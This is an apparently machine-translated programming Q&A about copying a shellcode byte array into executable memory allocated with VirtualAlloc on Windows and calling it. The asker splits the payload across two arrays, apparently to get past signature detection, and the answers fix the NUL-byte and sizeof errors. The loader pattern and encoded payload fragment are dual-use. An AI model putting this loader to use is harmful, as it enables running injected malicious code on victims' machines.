C 运行存储在动态允许内存中的外壳代码

C 运行存储在动态允许内存中的外壳代码,c,windows,memory,shellcode,C,Windows,Memory,Shellcode,我已经运行了以下运行良好的外壳代码: unsigned char original[] = "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1" "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d" "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\

我已经运行了以下运行良好的外壳代码:

    unsigned char original[] =
            "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1"
            "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d"
            "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\x55\x3c\x02\x03\x3b\xb1"
            "\xe9\x41\xa8\x42\x9f\x4d\xdf\xe3\x2a\xab\xee\xf4\x07\x8f\x71"      
            ;
    void *exec = VirtualAlloc(0, sizeof original, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, original, sizeof original);
    ((void(*)())exec)();
当我尝试运行存储在2个distincts数组中的相同外壳代码时,我遇到了访问冲突:

unsigned char part1[] =
        "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1"
        "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d"
        ;
    unsigned char part2[] = "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\x55\x3c\x02\x03\x3b\xb1"
        "\xe9\x41\xa8\x42\x9f\x4d\xdf\xe3\x2a\xab\xee\xf4\x07\x8f\x71";
//build the final shellcode array   
unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2)+1);
    //concatenation
    memcpy(concatenation, part1, sizeof part1);
    memcpy(concatenation + sizeof part1 , part2, sizeof part2);
//allocationg memory and running it
    void *exec = VirtualAlloc(0, sizeof concatenation, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, concatenation, sizeof concatenation);
    ((void(*)())exec)();

我试图让第二个例子工作,但我得到了一个访问冲突错误。 我做错了什么? 谢谢


更新

unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2));

    memcpy(concatenation, part1, sizeof part1);
    memcpy(concatenation + sizeof part1-1, part2, sizeof part2);

    void *exec = VirtualAlloc(0, sizeof(part1) + sizeof(part2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, concatenation, sizeof(part1)+sizeof(part2));
    ((void(*)())exec)();
这是根据alain和Colonel三十二条建议修改的代码,我现在得到以下错误:“test.exe已触发断点”


工作代码:

unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2));

    memcpy(concatenation, part1, sizeof part1);
    memcpy(concatenation + sizeof part1-1, part2, sizeof part2);

    void *exec = VirtualAlloc(0, sizeof(part1) + sizeof(part2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, concatenation, sizeof(part1)+sizeof(part2));
    ((void(*)())exec)();

字符串文本以nul终止,终止的nul字节按
sizeof
计数。因此,当使用2个数组版本时,在最终数组的中间有一个NUL字节。 如果你改变

memcpy(concatenation + sizeof part1 , part2, sizeof part2);

我认为应该行得通


正如三十二上校指出的那样,
sizeof concatenation
也有一个错误。

sizeof concatenation
是指针的大小,因为
concatenation
是指针。你的问题是什么?“我做错了什么?”只有当你指定了你想要达到的目标而你没有达到的目标时,这才有意义。请告诉我们您到底想做什么。我正在尝试使第二个代码与第一个代码一样工作。您更改了第一个
memcpy
,而不是第二个。
sizeof(*串联)
也是错误的。它应该是
sizeof(part1)+sizeof(part2)
,因为
concatenation
是一个指针,所以不能对它使用
sizeof
memcpy(concatenation + sizeof part1 - 1, part2, sizeof part2);